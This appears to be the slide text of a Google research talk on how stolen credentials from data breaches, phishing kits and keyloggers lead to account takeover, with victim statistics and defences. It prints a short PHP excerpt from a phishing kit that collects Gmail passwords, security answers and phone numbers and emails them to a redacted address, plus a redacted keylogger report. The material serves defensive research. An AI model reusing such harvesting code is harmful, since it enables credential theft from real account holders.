Understanding the risk of stolen credentials

Kurt Thomas, Frank Li, Ali Zand, Jacob Barrett, Juri Ranieri, Luca Invernizzi, Yarik Markov, Oxana Comanescu, Vijay Eranti, Angelika Moscicki, Daniel Margolis, Vern Paxson, Elie Bursztein
One digital identity
Threat of account takeover

>15% Internet users self-reported experiencing account takeover

“My religious aunt asked why I was trying to sell her viagra”: Experiences with account hijacking. Shay et al, CHI 2014

Sources of stolen passwords

- Phishing
- Keyloggers
- Data Breaches
Authentication beyond passwords

Verify it's you
This device isn't recognized. For your security, Google wants to make sure it's really you. Learn more

Try another way to sign in

Tap Yes on your phone or tablet

Get a verification code at (***) ***-***-99

Device, location history as signals for authentication
Our research

- Black market fueling credential theft
- Quantifying risk of account takeover
- Protecting users
Black market fueling stolen credentials
Third-party data breaches
Third-party data breaches

Dropbox data breach: 68 million user accounts

All 3 Billion Yahoo Accounts Were Affected by 2013 Attack

LinkedIn Lost 167 Million Account Credentials in Data Breach
Forums, paste sites, and search

[Image of a webpage with a list of leaked databases from Pastebin, including MySpace, Adobe, Badoo, LinkedIn, YouPorn, vk.com, and Tumblr, with categories like Social Media, Software, and Porn.]
Finding copies of data breaches

- 16 blackhat forums
- 115 paste sites
- Google search index

3.7K

Identify, parse, & verify
Dump files
Hash dictionary lookup

1.9B

Credentials exposed

Research at Google
Frequent password re-use

17% of users reuse passwords
Phishing
Phishing kit dataset

10K
Samples of source code

3.7M
Known victims
72% of samples report via Gmail

```php
$message .= "-------------New gmail ReZuLT-------------\n"
$message .= "Username: ".$_POST[\'Email\']."\n"
$message .= "Password: ".$_POST[\'Passwd\']."\n"
$message .= "Security question: ".$_POST[\'SecretQuestion\']."\n"
$message .= "Answer: ".$_POST[\'IdentityAnswer\']."\n"
$message .= "Alternate email: ".$_POST[\'SecondaryEmail\']."\n"
$message .= "Phone number: ".$_POST[\'phone\']."\n"
$message .= "IP: ".$_ip."\n"
$message .= "-------------Created By FR33M4N-------------\n"

$recipient = "**********@gmail.com";
$subject = "gmail rezult";
mail($recipient,$subject,$message)
```
Estimating volume of phishing victims

10K Phishing kit
7.3K Static analysis
Email flagging

12M Estimated credentials
Just 19K phishing operators

Hijackers operating out of Nigeria

41%
Understanding victims

Sample of phished Google accounts:

<table>
<thead>
<tr>
<th>Signup location</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>50%</td>
</tr>
<tr>
<td>South Africa</td>
<td>4%</td>
</tr>
<tr>
<td>Canada</td>
<td>3%</td>
</tr>
<tr>
<td>India</td>
<td>3%</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>3%</td>
</tr>
<tr>
<td>Other</td>
<td>37%</td>
</tr>
</tbody>
</table>
Keyloggers
Keylogger dataset

15K Sample binaries

3K Known victims
39% of samples report via Gmail

Operating System Intel Recovery
Operating System: Microsoft Windows 7 Ultimate
External IP Address: xxx.xxx.xxx.xxx
Installed Anti-Virus:

Recoveries
Source: GoogleChrome
Host: https://accounts.google.com/ServiceLogin
Username: xxxxxxxxxx@gmail.com
Password: xxxxxxxxxx
Estimating volume of keylogger victims

- 15K: Sandboxed execution
- 315: SMTP templates
- 788K: Estimated credentials
Roughly 1K keylogger operators

26%

Hijackers operating out of Nigeria, Brazil, and Senegal
Understanding victims

Sample of stolen Google accounts:

<table>
<thead>
<tr>
<th>Signup location</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Brazil</td>
<td>18%</td>
</tr>
<tr>
<td>India</td>
<td>10%</td>
</tr>
<tr>
<td>United States</td>
<td>8%</td>
</tr>
<tr>
<td>Turkey</td>
<td>6%</td>
</tr>
<tr>
<td>Philippines</td>
<td>4%</td>
</tr>
<tr>
<td>Other</td>
<td>54%</td>
</tr>
</tbody>
</table>
Quantifying risk of account takeover
Potential takeover targets analyzed

- **3.7M** Samples of phished credentials
- **3K** Samples of keylogged credentials
- **1.9B** Credentials exposed by third-party breaches
## Risk to Google accounts

<table>
<thead>
<tr>
<th>Prevalence of Google accounts</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Phishing</td>
<td>28%</td>
</tr>
<tr>
<td>Keylogging</td>
<td>30%</td>
</tr>
<tr>
<td>Third-party data breach</td>
<td>12%</td>
</tr>
</tbody>
</table>
### Risk to Google accounts

<table>
<thead>
<tr>
<th></th>
<th>Prevalence of Google accounts</th>
<th>If Google, likelihood password valid</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phishing</td>
<td>28%</td>
<td>25%</td>
</tr>
<tr>
<td>Keylogging</td>
<td>30%</td>
<td>12%</td>
</tr>
<tr>
<td>Third-party data breach</td>
<td>12%</td>
<td>7%</td>
</tr>
</tbody>
</table>
## Risk to Google accounts

<table>
<thead>
<tr>
<th>Method</th>
<th>Prevalence of Google accounts</th>
<th>If Google, likelihood password valid</th>
<th>If valid password, account takeover risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phishing</td>
<td>28%</td>
<td>25%</td>
<td>463x</td>
</tr>
<tr>
<td>Keylogging</td>
<td>30%</td>
<td>12%</td>
<td>39x</td>
</tr>
<tr>
<td>Third-party data breach</td>
<td>12%</td>
<td>7%</td>
<td>12x</td>
</tr>
</tbody>
</table>
Attackers adapt to risk-based defenses

Fraction of phishing kits, keyloggers, and third-party breaches targeting particular types of data.
Protecting users
Paradigm of passwords as sole authentication factor is outdated
Defense in-depth

Google

Verify it's you
This device isn't recognized. For your security, Google wants to make sure it's really you. Learn more

粿 your.account@gmail.com

Try another way to sign in

Tap Yes on your phone or tablet

Get a verification code at (•••) ••••••99

Standard rates apply

Call your phone on file (•••) ••••••99

Sign-in attempt prevented

Hi Test,
Someone just tried to sign in to your Google Account your.account@gmail.com from an app that doesn't meet modern security standards.

Details:
Wednesday, May 18, 2016 11:45 PM (Pacific Time)
Proactively reset passwords

67M accounts proactively re-secured
Takeaways

Billions of passwords available to hijackers.
Use these as ground truth to assess defenses.

Defense in-depth and proactive discovery of stolen passwords critical to protecting users.
Thank you

kurtthomas@google.com